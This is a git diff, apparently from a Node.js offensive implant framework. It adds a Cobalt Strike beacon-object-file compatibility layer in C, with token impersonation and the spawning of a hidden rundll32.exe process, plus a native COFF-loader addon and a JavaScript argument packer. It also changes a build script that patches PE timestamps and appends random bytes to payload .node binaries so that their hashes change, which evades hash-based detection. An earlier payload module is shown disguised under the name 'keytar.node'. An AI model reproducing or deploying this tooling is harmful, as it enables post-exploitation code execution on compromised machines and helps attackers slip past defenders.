* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
|
||||
#include "beacon_compatibility.h"
|
||||
|
||||
#define DEFAULTPROCESSNAME "rundll32.exe"
|
||||
#ifdef _WIN64
|
||||
#define X86PATH "SysWOW64"
|
||||
#define X64PATH "System32"
|
||||
#else
|
||||
#define X86PATH "System32"
|
||||
#define X64PATH "sysnative"
|
||||
#endif
|
||||
|
||||
|
||||
/* Data Parsing */
|
||||
unsigned char* InternalFunctions[30][2] = {
|
||||
{(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse},
|
||||
{(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt},
|
||||
{(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort},
|
||||
{(unsigned char*)"BeaconDataLength", (unsigned char*)BeaconDataLength},
|
||||
{(unsigned char*)"BeaconDataExtract", (unsigned char*)BeaconDataExtract},
|
||||
{(unsigned char*)"BeaconFormatAlloc", (unsigned char*)BeaconFormatAlloc},
|
||||
{(unsigned char*)"BeaconFormatReset", (unsigned char*)BeaconFormatReset},
|
||||
{(unsigned char*)"BeaconFormatFree", (unsigned char*)BeaconFormatFree},
|
||||
{(unsigned char*)"BeaconFormatAppend", (unsigned char*)BeaconFormatAppend},
|
||||
{(unsigned char*)"BeaconFormatPrintf", (unsigned char*)BeaconFormatPrintf},
|
||||
{(unsigned char*)"BeaconFormatToString", (unsigned char*)BeaconFormatToString},
|
||||
{(unsigned char*)"BeaconFormatInt", (unsigned char*)BeaconFormatInt},
|
||||
{(unsigned char*)"BeaconPrintf", (unsigned char*)BeaconPrintf},
|
||||
{(unsigned char*)"BeaconOutput", (unsigned char*)BeaconOutput},
|
||||
{(unsigned char*)"BeaconUseToken", (unsigned char*)BeaconUseToken},
|
||||
{(unsigned char*)"BeaconRevertToken", (unsigned char*)BeaconRevertToken},
|
||||
{(unsigned char*)"BeaconIsAdmin", (unsigned char*)BeaconIsAdmin},
|
||||
{(unsigned char*)"BeaconGetSpawnTo", (unsigned char*)BeaconGetSpawnTo},
|
||||
{(unsigned char*)"BeaconSpawnTemporaryProcess", (unsigned char*)BeaconSpawnTemporaryProcess},
|
||||
{(unsigned char*)"BeaconInjectProcess", (unsigned char*)BeaconInjectProcess},
|
||||
{(unsigned char*)"BeaconInjectTemporaryProcess", (unsigned char*)BeaconInjectTemporaryProcess},
|
||||
{(unsigned char*)"BeaconCleanupProcess", (unsigned char*)BeaconCleanupProcess},
|
||||
{(unsigned char*)"toWideChar", (unsigned char*)toWideChar},
|
||||
{(unsigned char*)"LoadLibraryA", (unsigned char*)LoadLibraryA},
|
||||
{(unsigned char*)"GetProcAddress", (unsigned char*)GetProcAddress},
|
||||
{(unsigned char*)"GetModuleHandleA", (unsigned char*)GetModuleHandleA},
|
||||
{(unsigned char*)"FreeLibrary", (unsigned char*)FreeLibrary},
|
||||
{(unsigned char*)"__C_specific_handler", NULL}
|
||||
|
||||
};
|
||||
|
||||
uint32_t swap_endianess(uint32_t indata) {
|
||||
uint32_t testint = 0xaabbccdd;
|
||||
uint32_t outint = indata;
|
||||
if (((unsigned char*)&testint)[0] == 0xdd) {
|
||||
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
|
||||
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
|
||||
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
|
||||
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
|
||||
}
|
||||
return outint;
|
||||
}
|
||||
|
||||
char* beacon_compatibility_output = NULL;
|
||||
int beacon_compatibility_size = 0;
|
||||
int beacon_compatibility_offset = 0;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size) {
|
||||
if (parser == NULL || buffer == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
parser->original = buffer;
|
||||
parser->buffer = buffer;
|
||||
parser->length = size - 4;
|
||||
parser->size = size - 4;
|
||||
parser->buffer += 4;
|
||||
return;
|
||||
}
|
||||
|
||||
int BeaconDataInt(datap* parser) {
|
||||
if (parser == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int32_t fourbyteint = 0;
|
||||
if (parser->length < 4) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(&fourbyteint, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
parser->length -= 4;
|
||||
return (int)fourbyteint;
|
||||
}
|
||||
|
||||
short BeaconDataShort(datap* parser) {
|
||||
if (parser == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int16_t retvalue = 0;
|
||||
if (parser->length < 2) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(&retvalue, parser->buffer, 2);
|
||||
parser->buffer += 2;
|
||||
parser->length -= 2;
|
||||
return (short)retvalue;
|
||||
}
|
||||
|
||||
int BeaconDataLength(datap* parser) {
|
||||
if (parser == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return parser->length;
|
||||
}
|
||||
|
||||
char* BeaconDataExtract(datap* parser, int* size) {
|
||||
if (parser == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint32_t length = 0;
|
||||
char* outdata = NULL;
|
||||
/*Length prefixed binary blob, going to assume uint32_t for this.*/
|
||||
if (parser->length < 4) {
|
||||
return NULL;
|
||||
}
|
||||
memcpy(&length, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
|
||||
outdata = parser->buffer;
|
||||
if (outdata == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
parser->length -= 4;
|
||||
parser->length -= length;
|
||||
parser->buffer += length;
|
||||
if (size != NULL && outdata != NULL) {
|
||||
*size = length;
|
||||
}
|
||||
return outdata;
|
||||
}
|
||||
|
||||
/* format API */
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
format->original = calloc(maxsz, 1);
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
format->size = maxsz;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatReset(formatp* format) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
memset(format->original, 0, format->size);
|
||||
format->buffer = format->original;
|
||||
format->length = format->size;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatFree(formatp* format) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
if (format->original) {
|
||||
free(format->original);
|
||||
format->original = NULL;
|
||||
}
|
||||
format->buffer = NULL;
|
||||
format->length = 0;
|
||||
format->size = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatAppend(formatp* format, char* text, int len) {
|
||||
if (format == NULL || text == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(format->buffer, text, len);
|
||||
format->buffer += len;
|
||||
format->length += len;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatPrintf(formatp* format, char* fmt, ...) {
|
||||
if (format == NULL || fmt == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*Take format string, and sprintf it into here*/
|
||||
va_list args;
|
||||
int length = 0;
|
||||
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
if (format->length + length > format->size) {
|
||||
return;
|
||||
}
|
||||
|
||||
va_start(args, fmt);
|
||||
(void)vsnprintf(format->buffer, length, fmt, args);
|
||||
va_end(args);
|
||||
format->length += length;
|
||||
format->buffer += length;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* BeaconFormatToString(formatp* format, int* size) {
|
||||
if (format == NULL || size == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
*size = format->length;
|
||||
return format->original;
|
||||
}
|
||||
|
||||
void BeaconFormatInt(formatp* format, int value) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t indata = value;
|
||||
uint32_t outdata = 0;
|
||||
if (format->length + 4 > format->size) {
|
||||
return;
|
||||
}
|
||||
outdata = swap_endianess(indata);
|
||||
memcpy(format->buffer, &outdata, 4);
|
||||
format->length += 4;
|
||||
format->buffer += 4;
|
||||
return;
|
||||
}
|
||||
|
||||
/* Main output functions */
|
||||
|
||||
void BeaconPrintf(int type, char* fmt, ...) {
|
||||
if (fmt == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* Change to maintain internal buffer, and return after done running. */
|
||||
int length = 0;
|
||||
char* tempptr = NULL;
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
vprintf(fmt, args);
|
||||
va_end(args);
|
||||
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + length + 1);
|
||||
if (tempptr == NULL) {
|
||||
return;
|
||||
}
|
||||
beacon_compatibility_output = tempptr;
|
||||
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, length + 1);
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(beacon_compatibility_output + beacon_compatibility_offset, length +1, fmt, args);
|
||||
beacon_compatibility_size += length;
|
||||
beacon_compatibility_offset += length;
|
||||
va_end(args);
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconOutput(int type, char* data, int len) {
|
||||
if (data == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
char* tempptr = NULL;
|
||||
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + len + 1);
|
||||
beacon_compatibility_output = tempptr;
|
||||
if (tempptr == NULL) {
|
||||
return;
|
||||
}
|
||||
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, len + 1);
|
||||
memcpy(beacon_compatibility_output + beacon_compatibility_offset, data, len);
|
||||
beacon_compatibility_size += len;
|
||||
beacon_compatibility_offset += len;
|
||||
return;
|
||||
}
|
||||
|
||||
/* Token Functions */
|
||||
|
||||
BOOL BeaconUseToken(HANDLE token) {
|
||||
/* Probably needs to handle DuplicateTokenEx too */
|
||||
SetThreadToken(NULL, token);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void BeaconRevertToken(void) {
|
||||
if (!RevertToSelf()) {
|
||||
#ifdef DEBUG
|
||||
printf("RevertToSelf Failed!\n");
|
||||
#endif
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL BeaconIsAdmin(void) {
|
||||
/* Leaving this to be implemented by people needing it */
|
||||
#ifdef DEBUG
|
||||
printf("BeaconIsAdmin Called\n");
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Injection/spawning related stuffs
|
||||
*
|
||||
* These functions are basic place holders, and if implemented into something
|
||||
* real should be just calling internal functions for your tools. */
|
||||
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) {
|
||||
char* tempBufferPath = NULL;
|
||||
if (buffer == NULL) {
|
||||
return;
|
||||
}
|
||||
if (x86) {
|
||||
tempBufferPath = "C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME;
|
||||
}
|
||||
else {
|
||||
tempBufferPath = "C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME;
|
||||
}
|
||||
|
||||
if ((int)strlen(tempBufferPath) > length) {
|
||||
return;
|
||||
}
|
||||
memcpy(buffer, tempBufferPath, strlen(tempBufferPath));
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo) {
|
||||
BOOL bSuccess = FALSE;
|
||||
if (x86) {
|
||||
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
|
||||
}
|
||||
else {
|
||||
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
|
||||
}
|
||||
return bSuccess;
|
||||
}
|
||||
|
||||
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len) {
|
||||
/* Leaving this to be implemented by people needing/wanting it */
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len) {
|
||||
/* Leaving this to be implemented by people needing/wanting it */
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) {
|
||||
if (pInfo != NULL) {
|
||||
(void)CloseHandle(pInfo->hThread);
|
||||
(void)CloseHandle(pInfo->hProcess);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL toWideChar(char* src, wchar_t* dst, int max) {
|
||||
if (max < sizeof(wchar_t))
|
||||
return FALSE;
|
||||
return MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
|
||||
}
|
||||
|
||||
char* BeaconGetOutputData(int *outsize) {
|
||||
if (outsize == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char* outdata = beacon_compatibility_output;
|
||||
*outsize = beacon_compatibility_size;
|
||||
beacon_compatibility_output = NULL;
|
||||
beacon_compatibility_size = 0;
|
||||
beacon_compatibility_offset = 0;
|
||||
return outdata;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,77 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#ifndef BEACON_COMPATIBILITY_H_
|
||||
#define BEACON_COMPATIBILITY_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Structures as is in beacon.h */
|
||||
extern unsigned char* InternalFunctions[30][2];
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
int BeaconDataInt(datap * parser);
|
||||
short BeaconDataShort(datap * parser);
|
||||
int BeaconDataLength(datap * parser);
|
||||
char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
void BeaconFormatReset(formatp * format);
|
||||
void BeaconFormatFree(formatp * format);
|
||||
void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
char * BeaconFormatToString(formatp * format, int * size);
|
||||
void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
|
||||
void BeaconPrintf(int type, char * fmt, ...);
|
||||
void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
BOOL BeaconUseToken(HANDLE token);
|
||||
void BeaconRevertToken();
|
||||
BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo);
|
||||
void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
uint32_t swap_endianess(uint32_t indata);
|
||||
|
||||
char* BeaconGetOutputData(int *outsize);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"targets": [
|
||||
{
|
||||
"target_name": "COFFLoader",
|
||||
"sources": [
|
||||
"COFFLoader.cpp",
|
||||
"beacon_compatibility.c"
|
||||
],
|
||||
"include_dirs": [
|
||||
"node_modules/node-addon-api"
|
||||
],
|
||||
"dependencies": [
|
||||
"<!(node -p \"require('node-addon-api').gyp\")"
|
||||
],
|
||||
"cflags_cc": [ "-std=c++17" ],
|
||||
"defines": [ "NAPI_DISABLE_CPP_EXCEPTIONS" ]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"name": "myaddon",
|
||||
"version": "1.0.0",
|
||||
"main": "index.js",
|
||||
"dependencies": {
|
||||
"node-addon-api": "^7.1.1"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
const COFFLoader = require('./build/Release/COFFLoader');
|
||||
const fs = require('fs');
|
||||
|
||||
class BeaconPack {
|
||||
constructor() {
|
||||
this.buffer = Buffer.alloc(0);
|
||||
this.size = 0;
|
||||
}
|
||||
|
||||
getBuffer() {
|
||||
// Create a buffer for the size (4 bytes) + the actual buffer
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(this.size, 0);
|
||||
return Buffer.concat([sizeBuffer, this.buffer]);
|
||||
}
|
||||
|
||||
addShort(short) {
|
||||
const shortBuffer = Buffer.alloc(2);
|
||||
shortBuffer.writeInt16LE(short, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, shortBuffer]);
|
||||
this.size += 2;
|
||||
}
|
||||
|
||||
addInt(dint) {
|
||||
const intBuffer = Buffer.alloc(4);
|
||||
intBuffer.writeInt32LE(dint, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, intBuffer]);
|
||||
this.size += 4;
|
||||
}
|
||||
|
||||
addString(s) {
|
||||
if (typeof s === 'string') {
|
||||
s = Buffer.from(s, 'utf-8');
|
||||
}
|
||||
// Add null terminator
|
||||
s = Buffer.concat([s, Buffer.from([0])]);
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(s.length, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
|
||||
this.size += 4 + s.length;
|
||||
}
|
||||
|
||||
addWString(s) {
|
||||
if (typeof s === 'string') {
|
||||
s = Buffer.from(s, 'utf16le');
|
||||
}
|
||||
// Add null terminator (2 bytes for UTF-16)
|
||||
s = Buffer.concat([s, Buffer.from([0, 0])]);
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(s.length, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
|
||||
this.size += 4 + s.length;
|
||||
}
|
||||
|
||||
addBinary(data, length) {
|
||||
if (typeof data === 'string') {
|
||||
data = Buffer.from(data, 'utf-8');
|
||||
}
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(length, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, sizeBuffer, data]);
|
||||
this.size += 4 + length;
|
||||
}
|
||||
|
||||
reset() {
|
||||
this.buffer = Buffer.alloc(0);
|
||||
this.size = 0;
|
||||
}
|
||||
}
|
||||
|
||||
function runBOF() {
|
||||
try {
|
||||
// Get command line arguments
|
||||
const args = process.argv.slice(2);
|
||||
if (args.length < 2) {
|
||||
console.error('Usage: bof <path_to_coff_file> <function_name> <format_string> [args...]');
|
||||
console.error('Format specifiers:');
|
||||
console.error(' z = null-terminated string (char*)');
|
||||
console.error(' i = 4-byte integer (int)');
|
||||
console.error(' b = binary blob (void*, length)');
|
||||
console.error(' w = wide string (wchar_t*)');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Read COFF file from command line path
|
||||
const coffData = fs.readFileSync(args[0]);
|
||||
console.log(`[BOF] coffData.length: ${coffData.length}`);
|
||||
|
||||
// Get format string and validate arguments
|
||||
const functionName = args[1];
|
||||
const formatString = args[2];
|
||||
const formatArgs = args.slice(3);
|
||||
|
||||
// if (formatArgs.length !== formatString.length) {
|
||||
// console.error(`[BOF] Error: Format string "${formatString}" requires ${formatString.length} arguments but got ${formatArgs.length}`);
|
||||
// process.exit(1);
|
||||
// }
|
||||
|
||||
// Create argument data using BeaconPack
|
||||
const beaconPack = new BeaconPack();
|
||||
|
||||
// Process each format specifier and its corresponding argument
|
||||
for (let i = 0; i < formatString.length; i++) {
|
||||
const formatChar = formatString[i];
|
||||
const arg = formatArgs[i];
|
||||
|
||||
switch (formatChar) {
|
||||
case 'z': // null-terminated string
|
||||
beaconPack.addString(arg);
|
||||
break;
|
||||
case 'w': // wide string
|
||||
beaconPack.addWString(arg);
|
||||
break;
|
||||
case 'i': // integer
|
||||
beaconPack.addInt(parseInt(arg));
|
||||
break;
|
||||
case 'b': // binary blob
|
||||
const [data, length] = arg.split(',');
|
||||
beaconPack.addBinary(data, parseInt(length));
|
||||
break;
|
||||
default:
|
||||
console.error(`[BOF] Error: Unknown format specifier '${formatChar}'`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
const argumentData = beaconPack.getBuffer();
|
||||
console.log('[BOF] Packed argument data:', argumentData.toString('hex'));
|
||||
|
||||
// Call the native function
|
||||
const result = COFFLoader.runCOFF(
|
||||
functionName, // The name of the function to call in the COFF file
|
||||
coffData, // The COFF file contents as a Buffer
|
||||
argumentData, // Arguments to pass to the function
|
||||
argumentData.length // Size of the arguments
|
||||
);
|
||||
|
||||
console.log('[BOF] RunCOFF status:', result.status);
|
||||
if (result.output) {
|
||||
console.log('[BOF] Output:', result.output.toString());
|
||||
} else {
|
||||
console.log('[BOF] No output data');
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('[BOF] Error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
runBOF();
|
||||
+23
-5
@@ -83,8 +83,10 @@ const pkgSrcPath = path.join(sourceDir, 'package.json');
|
||||
const pkgDstPath = path.join(outputDir, 'package.json');
|
||||
const AssemblySrcPath = path.join(sourceDir, 'assembly.node');
|
||||
const AssemblyDstPath = path.join(outputDir, 'assembly.node');
|
||||
const scexecSrcPath = path.join(sourceDir, 'keytar.node');
|
||||
const scexecDstPath = path.join(outputDir, 'keytar.node');
|
||||
const scexecSrcPath = path.join(sourceDir, 'scexec.node');
|
||||
const scexecDstPath = path.join(outputDir, 'scexec.node');
|
||||
const CoffLoaderSrcPath = path.join(sourceDir, 'CoffLoader.node');
|
||||
const CoffLoaderDstPath = path.join(outputDir, 'CoffLoader.node');
|
||||
const cleanupTargets = [
|
||||
path.join(__dirname, 'node_modules'),
|
||||
path.join(__dirname, 'package.json'),
|
||||
@@ -140,6 +142,7 @@ async function changeNodeHashes() {
|
||||
// Load original PE binaries
|
||||
const assembly_buffer = fs.readFileSync(AssemblySrcPath);
|
||||
const scexec_buffer = fs.readFileSync(scexecSrcPath);
|
||||
const coffldr_buffer = fs.readFileSync(CoffLoaderSrcPath);
|
||||
|
||||
// ----------- Assembly PE Modification -----------
|
||||
const assembly_peOffset = assembly_buffer.readUInt32LE(0x3C);
|
||||
@@ -166,10 +169,25 @@ async function changeNodeHashes() {
|
||||
const scexec_newBuffer = Buffer.concat([scexec_buffer, scexec_junk]);
|
||||
|
||||
fs.writeFileSync(scexecDstPath, scexec_newBuffer);
|
||||
|
||||
// ----------- COFF Loader PE Modification -----------
|
||||
const coffldr_peOffset = coffldr_buffer.readUInt32LE(0x3C);
|
||||
const coffldr_timestampOffset = coffldr_peOffset + 8;
|
||||
const coffldr_randomTime = Math.floor(Date.now() / 1000) - Math.floor(Math.random() * 100000);
|
||||
|
||||
coffldr_buffer.writeUInt32LE(coffldr_randomTime, coffldr_timestampOffset);
|
||||
// console.log('[+] Patched PE timestamp (coffldr):', new Date(coffldr_randomTime * 1000).toUTCString());
|
||||
|
||||
const coffldr_junk = crypto.randomBytes(128);
|
||||
const coffldr_newBuffer = Buffer.concat([coffldr_buffer, coffldr_junk]);
|
||||
|
||||
fs.writeFileSync(CoffLoaderDstPath, coffldr_newBuffer);
|
||||
|
||||
// console.log(`- Original assembly.node hash : ${hashFile(AssemblySrcPath)}`);
|
||||
// console.log(`- Original keytar.node hash : ${hashFile(scexecSrcPath)}`);
|
||||
console.log(`\t- Payload assembly.node hash : ${hashFile(AssemblyDstPath)}`);
|
||||
console.log(`\t- Payload keytar.node hash : ${hashFile(scexecDstPath)}`);
|
||||
// console.log(`- Original scexec.node hash : ${hashFile(scexecSrcPath)}`);
|
||||
console.log(`\t- Payload assembly.node hash : ${hashFile(AssemblyDstPath)}`);
|
||||
console.log(`\t- Payload scexec.node hash : ${hashFile(scexecDstPath)}`);
|
||||
console.log(`\t- Payload COFFLoader.node hash : ${hashFile(CoffLoaderDstPath)}`);
|
||||
}
|
||||
|
||||
function cleanup() {
|
||||
|
||||
Reference in New Issue
Block a user